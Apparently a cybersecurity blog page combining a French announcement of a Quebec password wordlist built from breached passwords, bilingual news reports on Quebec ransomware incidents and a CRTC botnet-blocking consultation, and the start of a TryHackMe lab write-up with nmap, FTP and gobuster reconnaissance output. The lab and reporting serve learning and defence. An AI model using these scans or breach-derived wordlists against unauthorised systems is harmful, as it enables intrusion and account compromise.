Récemment, je testais mes habiletés modestes de “pentest” sur mon réseau WI-FI personnel. Suivant la méthodologie classique, j’ai performé une attaque de désauthentification sur un périphérique relié à mon “access point”, capturé l’échange de clef WPA2, et tenté de “craquer” le mot de passe à l’aide d’une “wordlist”. Pour les besoins de la cause, le mot de passe utilisé était d’une simplicité alarmante. Malgré tout, j’ai été incapable de le découvrir.

C’est alors que la réalité m’a frappé : les “wordlists” habituelles disponibles sur le net ne contiennent pas ou très peu de vocabulaire français et/ou Québécois, la plupart étant issues de brèches américaines et internationales. Au cours de discussions sur certains serveurs Discord (Hackfest), j’ai constaté qu’en effet très peu de références francophones étaient disponibles et qu’il y avait une volonté de créer une telle liste de mots de passe. C’est autour de cette idée que s’est constituée notre groupe, w0lfd3n, une équipe de professionnels et d’enthousiastes pour la plupart québécois. Nous avons saisi l’opportunité de fonder un groupe officiel afin de s’impliquer dans la communauté cybersec. Ce projet a été une sorte de catalyseur au groupe et une motivation supplémentaire afin d’explorer des méthodes et habiletés qui nous étaient pour la plupart encore nouvelles, i.e. GitHub. Nous espérons que le projet contribuera positivement à la communauté cybersec Québécoise.

C’est avec plaisir que nous présentons le dépôt public w0lfd3n’s quebec_wordlist. Cette liste est extraite en grande majorité des mots de passe présents dans plusieurs brèches de données publiques, tous reliés à des domaines québécois (institutions publiques, secteur privé, etc). Elle a plusieurs applications potentielles, i.e. “wordlist” pour John The Ripper et Hashcat ou bien tout simplement liste de mots de passe à éviter. Vous pouvez combiner une bonne discipline de mots de passe avec cette liste afin d’éviter l’utilisation de mots de passe faibles et compromis.

Il est également conseillé d’utiliser un gestionnaire de mots de passe tel que BitWarden ou KeePassXC afin d’éviter de réutiliser le même mot de passe plusieurs fois. Nous planifions d’apporter des modifications et ajouts constants à cette liste, et nous sommes évidemment ouverts à toutes contributions externes qui respectent nos critères.

Vous pouvez nous contacter à hello@w0lfd3n.org .

Crédit photo: worldsdirection - licence CC BY

It is never pleasant to learn that our sensitive information has been published on the Web. Last January, a criminal group released confidential documents it claims to have stolen from the company Ventilabec. To confirm the authenticity of this information, we contacted people who no longer work for the company, but who unfortunately appear in this data leak.

The ransomware group that claimed responsibility for this cyberattack published 1,140 documents. They include background check authorization forms, job site “onboarding sheets” listing allergies and medication taken, and competency cards issued by the Commission de la construction du Québec. The cards dating from 2010 and 2011 display the worker’s social insurance number. According to a counter displayed on the web page, it has been viewed more than 25,000 times.

Sabrina DesOrmiers worked for Ventilabec until 2012. Afterwards, she “kept doing consulting for them for about two years.” She confirms having signed a criminal background check authorization for a project at the Casino de Montréal. Before our call, no one had notified her of this data breach.

Reached by phone, Caroline (not her real name) confirms that she also worked for this company. She has not been employed there for several years. She asked to remain anonymous.

We informed her that a form was on a website accessible on the dark web. “No one notified me,” she tells us. She confirms having signed this authorization. The document contains information such as her date of birth, her social insurance number and her driver’s licence number.

Ventilabec, based in Laval, specializes in installing and maintaining ventilation, refrigeration and heating systems. According to its website, it has more than 10,000 completed projects to its credit in the industrial, commercial, institutional and pharmaceutical sectors.

Reached by phone, president Éric Ladouceur preferred not to comment on the matter.

Secured or destroyed

According to Steve Waterhouse, a former security officer at National Defence, when archiving this kind of information, it is important to be aware of how sensitive it is.

The best practice for keeping data that is not actively needed is “to never put it online.” He advises storing sensitive data in encrypted form. “There are several programs and tools to encrypt files.” Documents “at rest” should be on an external hard drive, encrypted, and stored in a safe place.

The cybersecurity expert points out that a company should have a data retention policy and destroy data as soon as it is no longer useful. To destroy it securely, he recommends encrypting it before deleting it. This will make it harder to recover.

Reporting not mandatory, but recommended

The Commission d’accès à l’information du Québec (CAI, Quebec’s access to information commission) confirms that the law does not require companies to destroy information. Its spokesperson reminds us that keeping documents that are no longer needed increases the impact when a security incident occurs.

“For now, in Quebec, there is no legal obligation to report security incidents, either to the Commission or to the people concerned,” the CAI told us. Reports are made on a voluntary basis.

“However, we strongly recommend that companies take this step.” According to the Commission, “the people concerned should be notified without delay if the loss or theft of personal information presents a risk of harm to them. This can allow them to take the appropriate measures to protect their personal information.”

The CAI explains that under section 27 of the Act respecting the protection of personal information in the private sector, every person has the “right to access personal information concerning them that is held by a company.” A written request must be submitted.

Article 40 of the Civil Code of Québec also allows a person to request the deletion of personal information that is “outdated or not justified by the purpose of the file.”

In both cases, it is possible to contact the CAI to learn more about the procedures and restrictions detailed in the law.

How to protect yourself from identity theft

According to Patrick Mathieu, co-founder of Hackfest Communication — an annual event and cybersecurity community — in cases like this one, people can protect themselves:

• by avoiding putting personal information on social media,
• by using a password manager and two-factor authentication,
• by subscribing to an alert service such as those offered by Equifax or TransUnion,
• by regularly checking their bank accounts and credit card statements to detect suspicious transactions.

photo credit: spDuchamp - CC BY license

Il n’est jamais agréable d’apprendre que nos renseignements sensibles ont été publiés sur le Web. En janvier dernier, un groupe criminel a diffusé des documents confidentiels qu’ils disent avoir volés à la compagnie Ventilabec. Pour confirmer l’authenticité de ces renseignements, nous avons contacté des personnes qui ne sont plus à l’emploi de cette entreprise, mais qui figurent malheureusement dans cette fuite de données.

Le groupe de rançongiciel qui a revendiqué cette cyberattaque a publié 1140 documents. On y retrouve des formulaires d’autorisation d’enquête, des « fiches d’accueil » de chantier avec les allergies et la médication prise et des cartes de compétence émises par la Commission de la construction du Québec. Les cartes qui datent de 2010 et 2011 affichent le numéro d’assurance sociale du travailleur. Selon un compteur affiché sur la page Web, celle-ci a été consultée plus de 25 000 fois.

Sabrina DesOrmiers a travaillé pour Ventilabec jusqu’en 2012. Par la suite, elle a « continué à faire de la consultation pour eux pendant deux ans environ ». Elle confirme avoir signé une autorisation d’enquête des antécédents judiciaires pour un projet au Casino de Montréal. Avant notre appel, personne ne l’avait avisée de cette brèche de données.

Contactée par téléphone, Caroline (nom fictif) confirme qu’elle a également travaillé pour cette compagnie. Elle n’est plus à l’emploi de cette entreprise depuis plusieurs années. Elle demande de garder l’anonymat.

Nous lui apprenons qu’un formulaire se trouve sur un site Web accessible sur le Web caché. « Personne ne m’a avisée », nous dit-elle. Elle confirme avoir signé cette autorisation. Ce document comporte des renseignements comme sa date de naissance, son numéro d’assurance sociale et son numéro de permis de conduire.

Ventilabec, basée à Laval, est spécialisée en installation et entretien de systèmes de ventilation, réfrigération et chauffage. Selon son site Web, elle a plus de 10 000 projets réalisés à son actif dans les secteurs industriel, commercial, institutionnel et pharmaceutique.

Rejoint au téléphone, le président Éric Ladouceur a préféré ne pas commenter cette affaire.

Sécurisé ou détruit

Selon Steve Waterhouse, ancien officier de sécurité à la défense nationale, lorsqu’on archive ce genre de renseignement, il est important de prendre conscience de la sensibilité de celui-ci.

La meilleure pratique pour conserver les données dont on n’a pas activement besoin consiste « à ne jamais mettre cela en ligne ». Il conseille d’entreposer les données sensibles de manière chiffrée. « Il existe plusieurs logiciels et outils pour crypter les fichiers ». Les documents « en repos » devraient être sur un disque dur externe, chiffré, et remisé en lieu sûr.

L’expert en cybersécurité rappelle qu’une entreprise devrait avoir une politique de rétention des données et détruire celles-ci dès qu’elles ne sont plus utiles. Pour les détruire de manière sécuritaire, il recommande de les chiffrer avant de les supprimer. Cela va les rendre plus difficiles à récupérer.

Déclaration non obligatoire, mais recommandée

La Commission d’accès à l’information du Québec (CAI) confirme que la loi n’oblige pas les entreprises à détruire un renseignement. Son porte-parole nous rappelle que de conserver des documents dont on n’a plus besoin augmente l’impact quand il y a un incident de sécurité.

« Pour l’instant, au Québec, il n’y a pas d’obligation légale de déclarer les incidents de sécurité, ni à la Commission ni aux personnes concernées », nous répond la CAI. Les déclarations sont faites sur une base volontaire.

« Cependant, nous recommandons fortement aux entreprises de faire cette démarche. » Selon la Commission, « les personnes concernées devraient être avisées sans tarder si la perte ou le vol de renseignements personnels présente un risque de préjudice pour elles. Cela peut leur permettre de prendre les mesures pertinentes pour protéger leurs renseignements personnels. »

La CAI nous explique qu’en vertu de l’article 27 de la Loi sur la protection des renseignements personnels dans le secteur privé, toute personne à le « droit d’accéder aux renseignements personnels qui la concernent et qui sont détenus par une entreprise. » Une demande écrite doit être présentée.

L’article 40 du Code civil du Québec permet également à une personne de demander la destruction d’un renseignement personnel « périmé ou non justifié par l’objet du dossier ».

Dans ces deux cas, il possible de communiquer avec la CAI afin d’en savoir plus sur les modalités et les restrictions détaillées dans la loi.

Comment se protéger d’un vol d’identité

Selon Patrick Mathieu, cofondateur de Hackfest Communication — un événement annuel et une communauté de cybersécurité — dans les cas comme celui-ci, les gens peuvent se protéger :

• en évitant de mettre de l’information personnelle sur les réseaux sociaux,
• en utilisant un gestionnaire de mot de passe et l’authentification à deux facteurs,
• en s’abonnant à un service d’alerte comme ceux d’Equifax ou de TransUnion,
• en vérifiant régulièrement leurs comptes de banque et relevés de carte de crédit pour détecter les transactions douteuses.

crédit photo: spDuchamp - licence CC BY

Transport company Boutin was targeted by ransomware. The company shut down all of its IT systems, but has managed to continue operating.

The security breach was announced on a ransomware group’s site. We contacted the company by phone on April 28, and its president, Mr. Bernard Boutin, confirmed that they had indeed been targeted by a cyberattack. He asked us to send him our questions in writing.

In an email, the entrepreneur explained that a ransom note was discovered and that they then called on an IT security specialist.

The customer and employee portals, accessible from their website, are not responding. To avoid taking any unnecessary risks, “we shut down access to all of our systems and workstations.” Staff must rebuild a number of servers and “restart certain applications from scratch. Operations work is being done partly manually.”

Mr. Boutin says their operations are continuing. “With our team, we were able to make sure that service was not too disrupted.”

The situation is currently under investigation. The company cannot say with certainty whether personal data of customers or employees was stolen. But “as a precaution, the people concerned have started to be informed.”

Boutin is a company founded in 1945 and headquartered in Plessisville, in the Centre-du-Québec region. According to its website, it has more than 390 employees and a fleet of over 630 units.

cover photo credit: martin - CC BY-NC-ND license

La compagnie de transport Boutin a été la cible d’un rançongiciel. L’entreprise a fermé l’ensemble de ses systèmes informatiques, mais réussit à poursuivre ses activités.

La brèche de sécurité a été annoncée sur le site d’un groupe de rançongiciel. Nous avons contacté l’entreprise par téléphone le 28 avril et le président, M. Bernard Boutin, nous a confirmé qu’ils étaient bel et bien la cible d’une cyberattaque. Il nous a demandé de lui acheminer nos questions par écrit.

Dans un courriel, l’entrepreneur nous explique qu’un message de rançon a été découvert et qu’ils ont ensuite fait appel à un spécialiste en sécurité informatique.

Les portails client et employés, accessibles à partir de leur site Web, ne répondent pas. Afin de ne prendre aucun risque inutile, « nous avons fermé l’accès à l’ensemble de nos systèmes et postes de travail ». Le personnel doit rebâtir un certain nombre de serveurs et « repartir à 0 certaines applications. Le travail aux opérations se fait en partie manuellement. »

M. Boutin affirme que leurs opérations se poursuivent. « Nous avons été capables avec notre équipe de faire en sorte que le service ne soit pas trop perturbé. »

La situation fait actuellement l’objet d’une enquête. L’entreprise ne peut dire avec certitude si des données personnelles de client ou d’employés ont été dérobées. Mais, « dans le doute, les personnes concernées ont commencé à en être informées ».

Boutin est une entreprise fondée en 1945 dont le siège social se situe à Plessisville, au Centre-du-Québec. Selon son site Web, elle compte plus de 390 employés et possède une flotte qui dépasse 630 unités.

crédit photo couverture: martin - licence CC BY-NC-ND

Since the threat of leaking stolen documents is not enough in their eyes, some ransomware groups have added denial of service to their arsenal. A Québec City company just learned this the hard way. The Avaddon group recently claimed an attack against this software development company.

It is now customary for attackers to apply what is known as “double extortion.” With this method, the criminals first exfiltrate the data they managed to access. Then they encrypt their victim’s systems. The files are rendered unusable unless the victim pays to obtain the key needed to decrypt them.

Companies with recent and reliable backups are able to recover more quickly from this kind of attack. To increase pressure on victims and force them to pay, the Maze group was the first to threaten to publicly release stolen data. Shortly afterwards, several groups followed suit.

The news site bleepingcomputer.com reported in October 2020 that the SunCrypt and RagnarLocker groups had started adding distributed denial of service (DDoS) to their arsenal.

DDoS is a form of attack where the victim’s server is bombarded with a large number of requests. It is called distributed because the requests come from a multitude of different sources. Unable to handle such a volume of bogus data, the server becomes inaccessible.

The Avaddon group has just joined the list of groups using this method to force their victims to negotiate. On their site, one can see a list of companies affected by a denial of service.

On the morning of April 27, the Québec City company’s website was indeed inaccessible. When contacted, the company preferred not to comment on the events. The entrepreneur, who asked us to keep him anonymous, told us that “there is no clear guide on the role of IT security as an SME is being built” and that although investing in security may seem like a significant expense, especially at the beginning, “a risk assessment should lead to the conclusion that such expenses are smaller than the potential damage.”

It remains to be seen whether other groups will now start practising this “triple extortion.”

cover photo credit: Ben Elwood - CC BY-NC license

La menace de diffuser les documents volés n’étant pas suffisante à leurs yeux, certains groupes de rançongiciel ont ajouté le déni de service à leur arsenal. Une compagnie de Québec vient de l’apprendre. Le groupe Avaddon a revendiqué récemment une attaque contre cette compagnie spécialisée dans le développement informatique.

Il est maintenant coutume pour les pirates d’appliquer ce qu’on appelle la « double extorsion ». Cette méthode implique que les malfaiteurs commencent par exfiltrer les données auxquelles ils ont réussi à avoir accès. Ensuite, ils vont chiffrer les systèmes de leur victime. Les fichiers sont rendus inutilisables à moins de payer pour obtenir la clé nécessaire pour les déchiffrer.

Les entreprises ayant des sauvegardes récentes et fiables sont en mesure de se relever plus rapidement d’une attaque de ce genre. Pour accroître la pression sur les victimes et les forcer à payer, le groupe Maze a été le premier à menacer de diffuser publiquement les données volées. Peu de temps après, plusieurs groupes leur emboîtaient le pas.

Le site de nouvelles bleepingcomputer.com avait rapporté en octobre 2020 que les groupes SunCrypt et RagnarLocker avaient commencé à ajouter le déni de service distribué (DDoS — Distributed Denial of Service) à leur arsenal.

Le DDoS est une forme d’attaque ou le serveur de la victime est bombardé d’une quantité importante de requêtes. On dit qu’il est distribué, car les requêtes proviennent d’une multitude de sources différentes. N’étant pas capable de soutenir un tel volume de données bidon, le serveur devient inaccessible.

Le groupe Avaddon vient de s’ajouter à la liste des groupes utilisant cette méthode afin de forcer leur victimes à négocier. Sur leur site, on peut voir une liste des entreprises qui sont affectées par un déni de service.

Le matin du 27 avril, le site web de la compagnie de Québec était effectivement inaccessible. Contactée, la compagnie préfère ne pas se prononcer sur les événements. L’entrepreneur, qui nous a demandé de garder l’anonymat, nous a dit qu’il « n’y a pas un guide clair sur le rôle de la sécurité informatique dans l’évolution de la création d’une PME » et que bien que l’investissement en sécurité puisse sembler être une dépense importante, surtout au début, « une évaluation des risques doit mener à la conclusion que de pareilles dépenses sont moins importantes que les dommages potentiels. »

Il reste à voir si d’autres groupes vont maintenant se mettre à pratiquer cette « triple extorsion ».

crédit photo couverture: Ben Elwood - licence CC BY-NC

The Regional Municipality of Durham in Ontario was the target of a cyber criminal group. The systems have been secured, but the extent of the data breach is still unknown.

We contacted the administration of the municipality after a ransomware gang announced the attack on their leak site hosted on the dark web. The Corporate Communications service confirmed that they “recently became aware of a cybersecurity incident related to software provided by a third-party service provider.” According to the statement we received, the incident did not impact the Region’s core IT systems.

The Regional Municipality says that they have contacted the relevant authorities. Their experts are investigating the matter to “determine the information that may be involved and the impact of this incident.” The Municipality states that the vulnerability has been patched and that their systems have been secured.

The ransomware gang published screenshots of confidential information on their site. The spokesperson for Durham did not confirm if these were authentic. They show spreadsheets with names and phone numbers and, more troubling, ambulance reports.

The group involved in this cyber attack was responsible for alleged data breaches involving universities in the United States in the last months. They have been very active in exploiting the Accelion FTA (File Transfer Application) vulnerability. This 20-year-old technology is used to share confidential documents in a secure manner. A vulnerability was discovered at the end of December 2020. Three other vulnerabilities were found in the first months of 2021. These vulnerabilities have been patched, but many organizations have not updated their services, leaving the door open for threat actors. The Regional Municipality of Durham did not answer our question regarding the use of Accelion FTA.

photo credit: Richard Patterson - CC license

La municipalité régionale de Durham, Ontario, a été la cible d’un groupe de cybercriminels. Les systèmes ont été sécurisés, mais l’étendue de la fuite de données est encore inconnue.

Nous avons contacté l’administration de la municipalité après qu’un groupe de rançongiciel a annoncé cette attaque sur son site hébergé sur le « dark web ». Le service des communications nous a répondu qu’ils avaient récemment été avisés d’un « incident de sécurité relié à un logiciel fourni par un tiers ». Cet incident n’aurait pas affecté leurs autres services TI.

La municipalité régionale dit avoir avisé les autorités compétentes. Leurs experts étudient la situation afin de déterminer quelles données sont impliquées et l’impact de l’incident. La municipalité affirme que la vulnérabilité a été corrigée et que leurs systèmes ont été sécurisés.

Le groupe a publié des captures d’écran de documents confidentiels. Le porte-parole de Durham ne nous a pas confirmé si ceux-ci étaient véridiques. On y trouve des tableaux de coordonnées avec noms et numéros de téléphone et des rapports de transport ambulancier.

Le groupe qui revendique cette attaque a été impliqué dans plusieurs fuites de données impliquant des universités aux États-Unis. Il a été très actif récemment dans l’exploitation d’une vulnérabilité de Accellion FTA (File Transfer Appliance). Cette technologie vieille de 20 ans sert à partager des documents confidentiels de façon sécuritaire. Une première vulnérabilité a été découverte à la fin décembre 2020. Trois autres vulnérabilités ont été découvertes en 2021. Ces vulnérabilités ont été corrigées, mais plusieurs organisations n’ont pas mis leurs systèmes à jour, laissant le champ libre aux malfaiteurs. La municipalité régionale de Durham n’a pas répondu à notre question sur l’utilisation ou non d’Accellion FTA.

crédit photo: Richard Patterson - licence CC

Faxinating Solutions, a Québec company specializing in electronic data interchange (EDI), was targeted by a cybercriminal group. On March 16, the Conti group published confidential documents, which it claims to have stolen from the company, on its site hosted on the “dark web.”

Reached by phone, owner and CEO Steve Hatajlo told us that he “cannot deny that an incident took place.” The company, along with the relevant authorities, is “monitoring the situation closely.” According to a report published on the FreightWaves website, the breach was discovered on March 3 and the entry point was a phishing email.

Faxinating Solutions provides software tools that allow businesses to transfer data from one format to another. EDI thus makes it possible to share electronically information that was once available only on paper, such as purchase orders or invoices. Its clients include big names in transportation and retail, such as Metro, Walmart, Colabor and others.

The company’s website states that it offers a web portal for suppliers of the Ministère de la Santé et des Services sociaux (MSSS, Québec’s health and social services ministry). This service is reportedly not offered directly, but through a partner. In response to our request for information, an MSSS spokesperson said that “this supplier has no contracts or business relationships with the Ministère de la Santé et des Services sociaux and no cyberattack has been recorded.” Following a request for clarification, the MSSS public affairs department told us that “some institutions in the health and social services network have suppliers that subcontract with this company. The company holds no information belonging to the MSSS or its institutions. However, we continue to monitor the situation.” Mr. Hatajlo assured us that Faxinating Solutions does not process any medical data or confidential patient information.

Ransomware attacks are growing, and this incident reminds us that companies offering IT solutions are prime targets for criminal groups.

This article was updated after its initial publication to include the clarification received from the MSSS.

Faxinating Solutions, une compagnie québécoise spécialisée en échange de données informatisées (EDI) a été la cible d’un groupe de cybercriminels. Le 16 mars dernier, le groupe Conti a publié des documents confidentiels, qu’il allègue leur avoir volés, sur son site hébergé sur le « dark web ».

Rejoint au téléphone, le propriétaire et PDG Steve Hatajlo, nous a dit « qu’il ne peut nier qu’un incident a eu lieu ». L’entreprise, et les autorités concernées, « surveillent la situation de près ». Selon un reportage publié sur le site freightwaves, la brèche a été découverte le 3 mars et la porte d’entrée était un courriel d’hameçonnage.

Faxinating Solutions est une entreprise qui offre des outils informatiques afin de permettre aux entreprises de transférer des données d’un format à un autre. L’EDI permet donc de partager électroniquement des informations autrefois disponibles sur papier seulement, comme des bons de commande ou des factures. Elle compte parmi ses clients de grands noms du domaine du transport et de la vente au détail, comme Métro, Walmart, Colabor et d’autres.

Sur le site web de la compagnie, on peut lire que l’entreprise offre un portail web pour les fournisseurs du Ministère de la Santé et des Services Sociaux (MSSS). Ce service ne serait pas offert directement, mais par l’entremise d’un partenaire. Une porte-parole du MSSS a répondu à notre demande d’information que « ce fournisseur n’a pas de contrats ni de relations d’affaires avec le ministère de la Santé et des Services sociaux et aucune attaque informatique n’a été répertoriée. » Suite à une demande d’éclaircissement, le Service des affaires publique du MSSS nous a répondu que « certains établissements du réseau de santé et des services sociaux ont des fournisseurs qui travaillent en sous-traitance avec cette compagnie. La compagnie ne détient aucune information appartenant au MSSS et à ses établissements. Toutefois, nous continuons de surveiller la situation. » M. Hatajlo nous a assuré que Faxinating Solutions ne traite aucune donnée médicale ou information de nature confidentielle appartenant à des patients.

Les attaques au rançongiciel prennent de l’ampleur et cet incident nous rappelle que les entreprises qui offrent des solutions informatiques sont des cibles de choix pour les groupes criminels.

Cet article a été modifié pour y inclure la précision reçue du MSSS après sa parution initiale.

The period for submitting comments on the botnet blocking plan of the CRTC (Canadian Radio-television and Telecommunications Commission) is over. Reading the interventions, it is clear that Internet service providers (ISPs) do not all see the situation the same way. Some even go so far as to question the CRTC’s legitimacy in implementing such a program.

Mandatory blocking, no transparency required

In a document signed by Mr. Dennis Béland, Vice-President, Regulatory Affairs, at Vidéotron, we read that “it is possible for the Commission to frame network-level blocking based on a [sic] series of simple and uniform rules.”

Vidéotron advocates a domain blocking approach. Under this approach, an entity yet to be determined would have to maintain a list of malicious domain names to block. According to Mr. Béland, this method should be favoured “because it is already deployed in our network, which will allow the framework to be deployed at lower cost and implemented quickly. This technique strikes a balance between effectiveness and ease of deployment and will not result in additional costs for Internet service subscribers.”

The Québecor Média subsidiary proposes universal blocking, with no opt-out. In its view, it is not desirable for such a system to be optional. Vidéotron considers that, since it is not optional, “transparency measures are not required.”

ISPs against blocking

Vidéotron’s main competitor in Quebec takes a diametrically opposed position. In its document, Bell Canada challenges the CRTC’s legitimacy to implement such a program. It considers that a centralized framework imposed by the Commission is “in opposition to the cooperative and collaborative approach adopted by the government”([^1]:Translated from English by the author) on cybersecurity. Bell refers to the stakeholders identified in the National Cyber Security Strategy, published in 2010, and seems to take malicious pleasure in pointing out that the CRTC is not among them.

Bell takes a dim view of having a blocking program overseen by an independent entity. “The time between the detection of a malicious botnet and the application of mitigation solutions can sometimes be very short.” The need to notify and obtain approval from an external entity would hinder its ability to respond effectively to threats.

Bell opposes the possibility of an opt-out system for the blocking program, but for very different reasons than Vidéotron. Currently, a domain deemed dangerous is blocked without knowing the identity of the person requesting it. Giving customers a choice would therefore involve collecting more personal data than is currently required.

Telus, in its report to the CRTC, considers that blocking botnets does nothing to address the root of the problem. It is a reactive solution applied once devices have already been infected. The company believes the government should put more effort into establishing and enforcing security standards for manufacturers of Internet-connected devices. “Adopting a proactive approach will have a more significant impact on reducing botnet attacks than the proposed network-level blocking.”

Cogeco clearly positions itself in favour of net neutrality. The Montreal-based company is concerned that government-imposed additional blocking rules could erode net neutrality and have the potential to weaken privacy protection.

On the independents’ side

Xplornet expresses its reservations about the CRTC’s plan. For the company, which specializes in rural coverage, blocking will not be effective, because it only tackles the problem once the damage is done. It therefore advocates a prevention approach to protect the public. It is concerned that such a framework would give a false sense of security.

Teksaavy, one of the country’s main independent ISPs, also opposes the plan. The company, which has been present in Quebec since 2020, considers that network-level blocking violates the basic principles of a free and open Internet. It believes such a framework would undermine net neutrality without really increasing Internet security.

Several other parties also filed submissions. The CRTC now has the task of analyzing these interventions. The task will not be easy, as blocking is far from unanimous among the Internet service providers who will be responsible for applying this measure if the Commission decides to adopt it.

photo credit: Martin Abegglen - CC license

La période pour déposer ses observations sur le projet de blocage des botnets par le CRTC (Conseil de la radiodiffusion et des télécommunications canadiennes) est terminée. À la lecture des interventions, on voit que les fournisseurs d’accès à Internet (FAI) ne voient pas tous la situation du même œil. Certains vont même jusqu’à mettre en doute la légitimité du CRTC à mettre en place un tel programme.

Blocage obligatoire, transparence non requise

Dans un document signé par M. Dennis Béland, Vice-Président, Affaires réglementaires, chez Vidéotron, on peut lire qu’« il est possible pour le Conseil d’encadrer le blocage à l’échelle des réseaux en se basant sur un [sic] série de règles simples et uniformes. »

Vidéotron préconise une approche de blocage de domaine. Avec cette approche, une entité qui reste à définir devra maintenir une liste de noms de domaines malicieux à bloquer. Selon M. Béland, cette méthode est à préconiser « car elle est déjà déployée dans notre réseau, ce qui permettra le déploiement du cadre à moindre coût et une mise en œuvre rapide. Cette technique concilie efficacité et facilité de déploiement et n’entraînera pas de coûts supplémentaires pour les abonnés des services Internet. »

La filiale de Québecor Média propose un blocage universel, sans option de retrait. Il n’est pas souhaitable pour elle qu’un tel système soit optionnel. Vidéotron considère que n’étant pas optionnel, « des mesures de transparence ne sont pas requises. »

FAI contre le blocage

Le principal compétiteur de Vidéotron au Québec prend une position aux antipodes. Dans son document, Bell Canada conteste la légitimité du CRTC de mettre en place un tel programme. Elle considère qu’un cadre centralisé imposé par le Conseil est « en opposition avec l’approche coopérative et collaborative adoptée par le gouvernement »([^1]:Traduit de l’anglais par l’auteur) en matière de cybersécurité. Bell fait référence aux parties prenantes identifiées dans la Stratégie Nationale de Cybersécurité, publiée en 2010, et semble se faire un malin plaisir de souligner que le CRTC n’y figure pas.

Bell ne voit pas d’un bon œil la supervision d’un programme de blocage par une entité indépendante. « Le délai entre la détection d’un botnet malicieux et l’application de solutions de mitigations peut parfois être très court ». La nécessité d’aviser et d’obtenir l’approbation d’une entité externe nuirait à sa capacité de répondre efficacement aux menaces.

Bell se prononce contre la possibilité d’un système de retrait du programme de blocage, mais pour des raisons très différentes de Vidéotron. Actuellement, le blocage d’un domaine considéré dangereux se fait sans connaître l’identité de la personne qui le demande. Instaurer un choix pour le client ou la cliente implique donc la collecte de données personnelles supplémentaires que ce qui est requis actuellement.

Telus, dans son rapport au CRTC considère que le blocage des botnets ne fait rien pour régler le problème à la racine. Il s’agit d’une solution réactive qui est appliquée une fois que des appareils ont été infectés. La compagnie considère que le gouvernement devrait mettre plus d’effort à établir et appliquer des normes de sécurité pour les manufacturiers d’appareils connectés à Internet. « Adopter une approche proactive aura un impact plus significatif sur la réduction des attaques de botnets que la proposition d’un blocage à l’échelle du réseau ».

Cogeco se positionne clairement en faveur de la neutralité du réseau. La compagnie basée à Montréal s’inquiète que l’imposition gouvernementale de règles de blocage supplémentaires pourrait éroder la neutralité du réseau et a le potentiel de diminuer la protection de la vie privée.

Du côté des indépendants

Xplornet fait part de ses réserves sur le projet du CRTC. Pour la compagnie spécialisée en couverture des régions rurales, le blocage ne sera pas efficace, car il ne fait que s’attaquer au problème une fois que le mal est fait. Elle préconise donc une approche de prévention pour protéger la population. Elle s’inquiète qu’un tel cadre donnerait un faux sentiment de sécurité.

Teksaavy, l’un des principaux FAI indépendants au pays, s’oppose également au projet. La compagnie, qui est présente au Québec depuis 2020, considère que le blocage à l’échelle du réseau contrevient aux principes de base d’un Internet libre et ouvert. Elle considère qu’un tel cadre portera atteinte à la neutralité du réseau sans réellement augmenter la sécurité de l’Internet.

Plusieurs autres intervenants ont également déposé des avis. Le CRTC a maintenant la tâche d’analyser ces interventions. La tâche ne sera pas facile car le blocage ne fait nullement l’unanimité chez les fournisseurs d’accès à Internet qui seront responsables d’appliquer cette mesure si le Conseil décide de l’adopter.

crédit photo: Martin Abegglen - licence CC

• Room: Watcher
• Difficulty: Medium
• URL: https://tryhackme.com/room/watcher

Scanning

The first thing to do when attacking a box is to scan it. I usually do this in three steps:

1. An aggressive scan on the first 10 000 ports (nmap -A -oN nmap.txt target)
2. A vulnerability scan on the first 10 000 ports (nmap -script vuln -oN nmapVuln.txt target)
3. A SYN scan on all the ports (sudo nmap -sS -p- -oN nmapFull.txt target)

Here are the results of the first scan:

# Nmap 7.91 scan initiated Sun Mar 14 09:11:24 2021 as: nmap -A -oN nmap.txt target
Nmap scan report for target (10.10.208.34)
Host is up (0.23s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e1:80:ec:1f:26:9e:32:eb:27:3f:26:ac:d2:37:ba:96 (RSA)
|   256 36:ff:70:11:05:8e:d4:50:7a:29:91:58:75:ac:2e:76 (ECDSA)
|_  256 48:d2:3e:45:da:0c:f0:f6:65:4e:f9:78:97:37:aa:8a (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: Jekyll v4.1.1
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Corkplacemats
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Mar 14 09:11:51 2021 -- 1 IP address (1 host up) scanned in 27.64 seconds

The vulnerabilities and full scan did not bring anything more of interest.

The first opened port is for FTP. Anonymous login does not seems to be allowed, but lets try it anyway.

ftp target
Connected to target.
220 (vsFTPd 3.0.3)
Name (target:ehogue): anonymous
331 Please specify the password.
Password:
530 Login incorrect.
Login failed.

No luck here, so lets look at the web site on port 80.

Web Site

Navigating to http://target/ gives us a site about cork placemats. A quick look at the request in Burp does not show anything interesting.

However, there is a robots.txt file that contains two entries.

Allow: /flag_1.txt
Allow: /secret_file_do_not_read.txt

Navigating to http://target/flag_1.txt give us our first flag. http://target/secret_file_do_not_read.txt is forbidden.

Now I start scanning site for hidden pages. I use GoBuster to scan web sites. I usually use two different lists to do so. I should probably build one list with only the unique values out of those two.

gobuster dir -e -u http://target/ -t30 -w /usr/share/dirb/wordlists/common.txt  | tee gobuster.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://target/
[+] Method:                  GET
[+] Threads:                 30
[+] Wordlist:                /usr/share/dirb/wordlists/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
2021/03/14 13:09:21 Starting gobuster in directory enumeration mode
===============================================================
http://target/.hta                 (Status: 403) [Size: 271]
http://target/.htaccess            (Status: 403) [Size: 271]
http://target/.htpasswd            (Status: 403) [Size: 271]
http://target/css                  (Status: 301) [Size: 298] [--> http://target/css/]
http://target/images               (Status: 301) [Size: 301] [--> http://target/images/]
http://target/index.php            (Status: 200) [Size: 4826]
http://target/robots.txt           (Status: 200) [Size: 69]
http://target/server-status        (Status: 403) [Size: 271]
===============================================================
2021/03/14 13:10:00 Finished
===============================================================

Nothing very interesting here.

